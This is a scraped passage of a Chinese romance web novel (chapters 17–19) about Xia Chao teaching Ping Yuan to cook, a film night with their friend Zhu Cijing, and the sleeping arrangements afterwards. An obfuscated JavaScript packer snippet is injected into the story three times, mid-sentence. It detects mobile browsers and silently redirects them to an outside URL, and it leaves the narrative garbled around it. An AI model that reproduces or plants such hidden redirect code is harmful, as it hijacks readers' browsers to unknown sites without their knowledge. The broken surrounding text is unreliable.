八岁的她趴在灶台边看,时间仿佛也被研碎,阳光懒洋洋趴在厨房的瓷砖上,一丝丝细细地挪。 从前云飘得慢,日子也地久天长。 淡淡的腥味萦绕在手指间,夏潮放下刀,轻轻地叹了口气。 她又想起在车上的时候,平原说要和她学做饭,她还没来得及回,话就忽然被打乱。 她当然不讨厌朱辞镜,不如说恰恰相反,她还挺喜欢朱辞镜的,很少人能这样令房间充满快活的空气。 她只是有点沮丧,没来得及回平原的话。话茬云一样飘过去,可能之后就不会有机会再提。 夏潮垂下眼帘,把娃娃菜放进水槽里冲洗。 脖子后颈却忽然扑上一阵轻柔温热的鼻息,夏潮吓了一跳:“谁?” 是平原。 她脚上穿着那双豆绿色的小狗拖鞋,身高恰巧比自己矮了一点点,于是在她身后踮脚探头,试图看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏潮当然没有接过吻,但是以她贫瘠的少女幻想,如果有朝一日她将得到吻,那她希望它会像这颗樱桃。 她囫囵含着,用茫茫然的眼睛看平原,下意识舔了一下那个小小的破口。 这动作大概冒着傻气,因为平原被她逗笑,微不可闻地弯了弯眼睛:“难道你没吃过樱桃。” 她低声说,声音和刚刚樱桃梗断掉时一样,明明很轻,但落到夏潮耳朵里却很清晰。 她不知道为什么,忽然觉得耳朵缓缓变烫:“……嗯。” 她的确没吃过樱桃,尤其还是这种黄中带一抹淡红的北方樱桃,柔嫩多汁,一尝就知道耐不住长途运输。 但她耳朵发烫不是为了这个。夏潮低下头,听见自己小声说:“我可以自己来……” 她的脸确实红透了,热意一直烧到面颊。平原的厨房是半开放式的,做饭时会把玻璃门拉上,两个人站在密闭的房间里,肩膀碰胳膊的,就显得分外狭小。 空气中满是欲语还休,脸上的热意仿佛都能扑到对方鼻尖去。 怎么会这样。她不知道自己为什么乱了阵脚,偏偏平原还要那样看她。 还是这样云淡风轻的表情:“好吃吗?” 又凑近了点。她黑白分明的眼睛,坦然又清澈。 于是时间都在她的眼睛里变慢,夏潮一瞬间找不到自己在哪儿:“好、好吃的。” 这是真心话。她的心跳成为指针,轻飘飘的,被人拨快又拨慢。 始作俑者却只是用很小很小的弧度翘了翘唇角:“那就好。” 她看起来对自己这次挑的樱桃很满意。 “给你留一把,剩下的我拿去堵朱辞镜了,”她竟然还没忘记这回事,端起水果盘往外走,“你等我回来再开火吧。” 诶?夏潮愣住了,她以为今晚还是她一个人做饭:“你不陪辞镜姐姐聊天吗?” 她不太好意思跟着平原直呼其名。 “不啊,她正打视频会议呢,”平原停下来,奇怪地看她一眼,“而且我不是说要和你学做饭吗?” 顿了顿,又低声道:“你之后也可以叫我姐姐。” 毕竟车上聊过之后,她决定之后都要对夏潮好一点。 本来就是个小姑娘,千里迢迢来投奔她,之前不但被自己摆脸色,还要给自己做饭。 越想越坏啊。她的良心隐隐作痛。 而且……能借这个机会了解一下夏玲,也挺好的,她心想,故作潇洒地挥手:“等我回来。” 只留下夏潮站在原地,客厅里传来朱辞镜敲击键盘的声音,还有“在改了在改了”的回应。 而她的心跳比键盘声要快。 原来她真的记得。 背景里还有水声在响,夏潮低下头,才发现是水龙头没有关。也不知道已经浪费了多少水,水流哗啦啦地冲着娃娃菜,水珠迸溅到脸上,冰得她一个激灵。 究竟开心什么呀。 她自己也没有答案,只好洗了手,又泼了把水到自己脸上,感受到冰凉的水珠滴滴答答地往下淌。 像平原湿漉漉的手指。 姐姐。她小声地念这两个字,学着平原的动作,把第二颗樱桃塞进嘴里。 上下齿间衔住,指尖发力,啵。青梗碧绿,酸甜的浆果汁水再一次迸溅。 饱满、鲜红、满怀酸甜的雀跃。就像她此刻的心脏。 虽然这样酸甜快乐的滋味,在十分钟后平原回来炸厨房的时候戛然而止。 18. 三十秒 人果然会美化自己的记忆。夏潮沉痛地想,这句话用大白话说,就是好了伤疤忘了疼。 比如上一次吃平原做的饭,明明又甜又咸,齁得她吃了一口,就开始半夜找水喝。 但因为平原这个人长得斯文又清淡的,所以过了几天,她又会忍不住想,不至于?平原做的饭应该没那么难吃吧?是不是自己当时胃口不好? 又比如现在,平原招呼完朱辞镜,回来找她学做菜,她教平原切断牛肉纹理,在切成薄片,看见她动作有模有样,就情不自禁地开始想,学得还挺快啊?放手让平原掌勺应该没问题吧? 然后平原毫不犹豫挖起的一大勺盐就教了她做人。 夏潮头皮发麻,大喊:“停!” 眼看一锅菜就要遭殃,她冲过去像只老母鸡一样护住锅:“不用放这么多盐!” “噢,”人形自走厨房爆炸机·平原淡淡地把手收了回来,“你让我加适量盐,我就按经验加了。” 很平静的语气,反倒让夏潮吃瘪一瞬。 也是,按平时菜的做法,平原下的盐也不算夸张,撑死是稍微咸口一点。夏潮只好摇摇头,觉得反而是自己的问题了。 她叹了口气:“是我没说清楚。” “其他炒菜呢,这个分类放这么多盐是没问题的,但是我们刚刚把苦瓜和牛肉都用盐腌了,会自带咸味,所以下锅的时候,盐就要相应地减量。” 她本来想直接从平原手里接过锅铲,但是又觉得这样不好,所以只是站在她身边,低声说:“盐量减个三分之一。” 涉及数字,平原的反应就很快,她捏着小勺,手腕一抖,果然是夏潮指定的盐量。 “嗯,”夏潮很满意,“撒盐,开大火,用锅铲翻炒到变色——就是深绿色的感觉。” “然后再盖上锅盖,焖个三十秒。” 斜刀切片的苦瓜很快就被翻炒成油汪汪的深绿色,平原依言盖上锅盖,微不可觉地抿了抿嘴唇。 她长长的睫毛又垂下去了,直直的像把小扇子,夏潮已经开始了解她了,知道她这个表情,十有八九是在心里很认真地掐秒呢。 她总在细枝末节的地方也一本正经,于是反而有些呆呆的可爱。夏潮原本想说时间估摸个大概就行,但看见她严肃的表情,就情不自禁地在心里也开始数数。 二十八、二十九、三十。 心跳好像也一瞬间同了频,平原揭开锅盖,苦瓜独特的香气弥漫了厨房。 “接下来呢?”她下意识地回头看夏潮。 认真等待指令的样子也很可爱,夏潮点点头,继续说:“苦瓜先装进碟子,然后炒香蒜片和豆豉,闻到香味的时候,下牛肉,转大火。” “翻炒到八分熟,对,就是这种微微带点粉的感觉,”她的手落到平原的手腕上,轻轻一拍,“下苦瓜,倒芡水。” 哗啦。提前调制好的芡水和热油碰撞,爆发出磅礴浓烈的香气和白雾。抽油烟机呼呼地转着,夏潮站在她身后,因为个子够高,所以不需要踮脚。 她回头,正好与她目光相撞。白雾里她的眉眼模糊又清晰,像梦里的一帧。 她的下巴快要碰到夏潮的鼻尖,呼吸很近,心跳乱了舞步,忽然快了半拍,又慢了半拍。 人总是在运筹帷幄的时候最有魅力。 她想起刚刚夏潮站在她身后,明明穿着那双很幼稚的白色小猫拖鞋,却能有条不紊地指挥她下菜、装碟、翻炒。 锅碗瓢盆叮叮当当,豆豉在热油里哗啦啦响,各种复杂又热烈的香味交织在一起,像一个魔法。 而她盯着锅铲,意识到在沉默倒数的三十秒,自己竟全心全意地信赖她。 好奇妙。她愣愣地想,做饭真好玩啊。 在这之前总觉得做饭很麻烦的平原默默地想,自己好像有点喜欢上做饭了。 虽然她也知道,今天的饭菜做起来快,是因为夏潮很细致地替她备好了菜。但是有句话怎么说?有兴趣总是好的。 平原一向觉得自己挺有学习天赋的,所以,她对这个开头很满意。 怀揣着这样愉快的心情,她一鼓作气,又把娃娃菜煮了。 鱼汤已经煮好煨在一边了,上菜吃饭时朱辞镜简直要感激涕零:“天啊!” “你竟然为我洗手作羹汤,”她做出深受感动的表情,“亲爱的,你心里有我。” 一听这个肉麻的商业语气,平原就知道她一定是被工作摧残的脑子不行了,大发慈悲地没刻薄她,只是温柔地给她夹了一筷子牛肉:“吃去吧你。” 夏潮盛了碗汤,望着她抿嘴笑。 大家都忙了一个下午,这顿饭吃得很香。吃完三个人都默默坐在沙发上,有点晕碳。 朱辞镜便提议看个电影,平原问她想看什么,她想了想,说看《爱乐之城》吧。 于是悠扬的音乐就响起来。晴朗的烈日下,洛杉矶的高速堵车,两个主角意外地相识,不意外地坠入爱河,最后意外又不意外地,为了各自的理想分开,又各自功成名就。 经典的故事总是很隽永,色调很美、音乐很美,紫色晚霞中女主角飞扬的黄裙子,也很美。 夏潮承认自己有些被打动。 朱辞镜似乎不是第一次看这部电影了。因为她坐在沙发上,在片尾两位主角隔着人潮对望,音乐最凄美最动人的时候,咬牙切齿说:“好羡慕。” “好想这样功成名就地秀到前任面前,”她恶狠狠地说,“信女为此愿意荤素搭配!孤独一生!” 可见对前任仇怨非常之深了。 夏潮竖起耳朵,在漆黑的客厅里听见朱辞镜又用胳膊肘捣了捣平原,问:“去年冬天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345709|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这部电影重映诶,你有没有看?” 平原想了想:“看了,当时圣诞节刚好出差,在机场候机时看的。” “圣诞节、一个人出差、看这种电影,”朱辞镜嘟囔,“够去挑战国际孤独等级了你。” “还好吧。” 平原云淡风轻地回:“主要歌挺好听的,不费脑子。” “那你有没有看出什么感触?”朱辞镜又问。 平原想了想,说:“穿高跟鞋跳舞,脚一定很累。” 又是这么清冷冷的一句话,心如止水,显得耽于情爱的她特庸俗。 朱辞镜被噎得翻了个白眼,却又没办法——谁叫她当年被甩,在前任的学院楼下痛哭时,还是平原把她捡回去的呢。 她只好另辟蹊径。 下一秒,夏潮感觉自己的胳膊也被捣了捣,朱辞镜越过平原,压低声音对她说:“你知道吧,你姐当年理综听说是全市第一哦,你可要好好学。” “但是你姐高考作文写得不好,”她不怀好意地蛐蛐,“神奇吧?你姐从小就是个写不好八股文的小古板哦。” “……”轮到平原沉默一刹,片刻后,她波澜不惊地说:“朱辞镜,你们在我背后说的话我都听得到。” 用犯贱扳回一城,朱辞镜得意地嘿嘿笑。她当然不是存心要揭短,不如说正是因为知道平原除了体育,其他科目简直十项全能,她才敢这么煽风点火。 夏潮忍不住也笑了。 很可爱啊,她又想起平原一本正经教她背古诗词的样子。 谁能想到呢?这样的平原,在十八岁和她一样大的时候,也会对着方格字抓耳挠腮,也会对着八股文没辙呢。 当然,抓耳挠腮是她根据个人经验添油加醋的想象。但这不妨碍夏潮心情很好。 似乎又多了解了平原一点。 正好电影放到片尾了,她起身去卫生间,发现厕所纸巾快用完了,便给平原发了条消息。 外头朱辞镜还在叽叽呱呱的说话,但平原回得很快,一看就知道她应对话痨的经验丰富:“卫生纸在镜柜最下面那格。” 夏潮点头,又意识到平原看不到。 磨砂的玻璃门外,客厅的光线很昏暗。夏潮知道这是因为客厅还没有开灯。 电影的音乐已经快到尾声了,致谢片段总是一部电影画面最暗的时刻。她拿着手机,心里忽然开始想象,客厅里的平原就这样坐在黑暗里,亮着手机,轻轻又悄悄地回复她。 好像她俩在传纸条说悄悄话。 夏潮忍不住晃了晃腿,有点不想这段对话结束得太快,于是她没话找话,悄悄地打字问:“诶,辞镜姐姐说你高考作文很差,是真的吗?” 哟呵。 还惦记着这件事呢。平原放下手机,静静地看了身边的罪魁祸首一眼。 19. 跟我睡 每一次听到辞镜姐姐这个称呼,平原都有点想笑。 朱辞镜向来是个自诩走在国际化大都市的时尚女性,生平最讨厌她妈给她起的这个酸不溜丢的古风名。平原都不敢想,她第一次听到夏潮这样乖乖巧巧又充满古风古韵地喊她辞镜姐姐,心里情感将翻涌得多么复杂。 她看了眼正在刷手机的朱辞镜,心里有点好笑,便打字回复:“嗯。” 对面的小朋友显然是感觉找到了知音,终于雀跃了起来:“我就说作文很难写嘛!” 八百字,夏潮每次想到都好头疼。平原之前还说作文可简单了,八股文背背框架,及格分就能拿得稳稳的。 可是背框架是一个难度,怎么活学活用,又是另一个难度呀! 夏潮没少为这件事苦恼过。 现在被她抓住把柄了吧,她有点得意洋洋:“明明你自己也觉得很难嘛,还和我说掌握套路,分数闭眼拿。” 她有点翘尾巴了,平原也忍不住翘了翘嘴角。 她想,夏潮大概不知道,成年人眼里,高中生的心思总是很明显的。就像高中的时候,班主任抓早恋总是一抓一个准。 因为小孩子的心实在是太好懂了。清澈透明,就像她们自己的眼睛,一眼就能望到底。 所以她立刻就察觉到夏潮藏在得意下面的心情——高中的时候,大家互相拉近距离的最快方法,总是一起吐槽同一门科目、同一个老师、同一道题。 一句“原来你也不会啊”,足以让深陷题海的小孩子,建立起最小单位的同盟军。 她望着屏幕,弯了弯眼睛,有些新奇。 十七岁的平原并没有享受过这样的待遇,因为当年她成绩太好了,一个成绩好得毫无悬念的人,是不会有人试图用吐槽考试的方法来拉近关系的。 大家只会觉得和学霸吐槽题目,简直自取其辱。平原当然也没兴趣假惺惺装不会,以此博取一个可亲的形象。 所以,高中每次月考结束,她总是一个人冷冷清清地收拾桌子,冷冷清清地去吃饭,然后等到出分,大家开始紧锣密鼓地用每科分数计算排名,她就一个人冷冷清清地坐在座位上。 她从来不算分,也不提前对答案,倒不是因为她不在意输赢。相反,她心里清楚,自己的输赢心绝不比任何人轻。 她只是懒得动手而已。反正结局已定,最后都会知道的。 当然,当年的她并没有意识到,这种气定神闲,本身就是一种试图拒人于千里之外的、高傲的竞争心。 所以她没有朋友。但这一切也怪不了谁,高考是残酷的,青春同样也残酷。一群少年人,在同样的花季雨季,将自己塞进应试的模子里,明明骨缝里都渗着锱铢必较,嘴角还要翘得满不在乎。 平原对高考没有怨言,它既然给了许多人相对公平的机会,那么自然也会相对公平地拿走一些东西。 她只是做梦也没想到,有朝一日,她会在高考结束九年之后,听一个小朋友有滋有味地和她吐槽作文题。 很稀奇的体验。 所以,她也就没有告诉夏潮,高考那年的作文她之所以写得很差,是因为题目是关于家风家庭的。 而她当年连自己的生日都不知道,更别提什么家的概念。 朱辞镜不知道,是因为每年高考,不同的地区都有不同的套卷,而她俩不是一个地方。平原怕她尴尬到磕头谢罪,所以干脆三缄其口。 而她对着夏潮保持沉默,则是因为对方轻轻的一打岔,让她忽然意识到,好像这事儿已经过去了。 不知道生日也没什么了不起的,她当时也没问夏玲。因为她早就是成年人了,大可以每年挑个自己喜欢的月份过生日。 当然,大部分时候她连生日都有点懒得过。自己的出生日期怎么填,取决于她什么时候需要各大商家的生日优惠。 更何况……她的高考作文只是相对写得比较差。 平原垂下眼睛,在打字框里轻轻地回:“你知道我那年高考作文多少分吗?” 对面果然很天真地问:“多少?” 她笑了,报了个绝对不低,甚至可以拿来当小范文的分数。 “虽然当时那个题目我不怎么熟悉,”她打字,不自觉带着点坏心眼,“但是靠着提纲和语料库,还是写的不错的。” “你说,这个作文你还要学吗?” “……”夏潮似乎哑巴了,十秒钟的沉默之后,她一板一眼老老实实地回:“对不起,我错了。” 她的微信气泡都带着幽怨:“姐姐,你有没有觉得你真的很适合当老师。” 把人治得服服帖帖的。 “知道啊,”平原回,波澜不惊,“大学时我经常当家教赚钱。” ……难怪业务这么熟练。夏潮彻底心悦诚服,有气无力,想要给她鞠躬:“我之后一定好好学习,姐姐老师。” 扑哧。平原被逗笑了。 正在和新Crush打得火热的朱辞镜从手机里抬起头,惊悚地看了平原一眼。 她这位老朋友此刻对着手机微微地笑,笑意很淡,放在别人脸上大概属于敷衍的浅,但落在平原身上,就像遗世而独立的水仙花,静默地里突然开了一瓣。 诡异得很。 朱辞镜又惊又疑地想——这回总该是抓奸抓到现行了吧? 也不知道是谁……女的?男的?同事?同学?拱白菜的猪?还是杀猪盘? 她倒不是怕平原谈恋爱,主要是怕平原一开场就这样柔情似水地谈恋爱。毕竟她这位朋友多年来恋爱经验为零,感情动向堪比潘多拉的魔盒,彻底打开它之前,你永远不知道最底下藏了什么。 朱辞镜真怕是妖魔鬼怪。 所以平原一抬头,就看见她惶恐的神色。 “……怎么这副表情。”她困惑地皱眉。 朱辞镜凝重地看她:“平原同学,你刚刚是和谁聊天,笑这么好看。” “……” 平原已经不记得自己今晚是第几次对着朱辞镜无言,她深呼吸一口气:“是我妹。” “你刚说我作文写的烂,她真信了,正和我讨价还价不背提纲呢。”她平静地说。 朱辞镜反而松了口气。 太好了,是妹妹啊。她欣慰地想,原来不是妖魔鬼怪,也不是拱白菜的猪,而是八九点的太阳,祖国的小花骨朵啊。 她向来是吃人嘴短的,夏潮多可爱一小姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345710|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做饭好吃长得好看,性格还比她姐好多了,朱辞镜对她印象很好。 一连想了几个好字。她嘿嘿一笑,自己把自己带坏祖国花骨朵这件事情揭过去了。 当然她们也没机会再纠结这个,夏潮出来了,看见电影放完,顺手帮她们把客厅的灯也开了。 世界重新恢复光明。 然后她想了想,决定给平原和朱辞镜留点叙旧的空间,便主动回房间拿了睡衣,先去洗澡了。 洗完澡果然很清爽舒服,朱辞镜被她的神清气爽感染,也火速去冲了个澡,美滋滋地卸掉了妆。 等到平原也擦着头发出来,三个人一齐坐在沙发上,才意识到,难办的事情发生了。 那就是三个人,两张床,应该怎么分房睡? 朱辞镜率先表明立场免惹麻烦:“首先,我不要和平原睡。” 这是她和平原约定俗成的习惯。因为平原实在……睡相太差了。 这么一个冷若冰霜的女人,睡觉时会把被子全部卷走,你敢相信吗? 朱辞镜敢,因为她因为半夜抢不过被子,无助地冻感冒过。所以,这辈子她不会再自讨苦吃。 但她决定给平原保留一丝颜面,于是只说:“我睡客厅的沙发吧。” 夏潮便吓了一跳——怎么能让客人睡沙发? 她连连摇头道:“没关系,你睡杂物房吧,我睡沙发。” 朱辞镜也摇头:“不用不用不用!你睡房间吧,我睡沙发,我睡沙发。” 一番拉扯就此展开,闹闹嚷嚷,像家里飞进十只虎皮鹦鹉,平原默默地看她们进行当代的孔融让床活动,心想至于吗? 不知道的还以为她家的床咬人。 她走过去给自己倒杯了柠檬水,正要施施然坐下,看俩人鞭炮宣天的推拉,却没想到空气骤然一静,两双眼睛齐刷刷地落到了她身上。 大事不妙。 朱辞镜的桃花眼波光流转:“平原。” 夏潮的狗狗眼满怀信任:“平原。” 然后,她俩异口同声,齐齐把烫手山芋扔了过来:“你来决定!” 这时候倒是想起她了啊! 一口水卡在喉咙,平原木着脸,差点被柠檬水呛死。 很奇妙的场景。一大一小两位圆溜溜的眼睛直直地看着她,好像在给家里闹腾的一鸟一狗分饼。 ……好吧。她头疼地揉了揉太阳穴,作为屋主,这个责任她确实义不容辞。 她不可能让作为客人的朱辞镜睡不了床。同样,也不可能虐待小朋友,让夏潮去睡沙发。 而她自己明天还要上班,也不想半夜被伤心女人朱辞镜锁喉,听她哀愁地倾诉坎坷情路。 所以,她长叹一口气,开始调兵遣将:“朱辞镜睡杂物房。” “你,”她顺势一指夏潮,“今晚跟我睡。” 诶嘿,今晚不用抢被子了!朱辞镜雀跃握拳,又同情地给夏潮抛了个眼神。 妩媚的桃花眼里写满了无言的祝福:今晚加油啊,妹宝。 她倒是开心了。轮到夏潮站在原地,不知道为什么,觉得心脏在这一瞬间几乎要停跳。 哪怕她还不知道,今晚将会发生什么。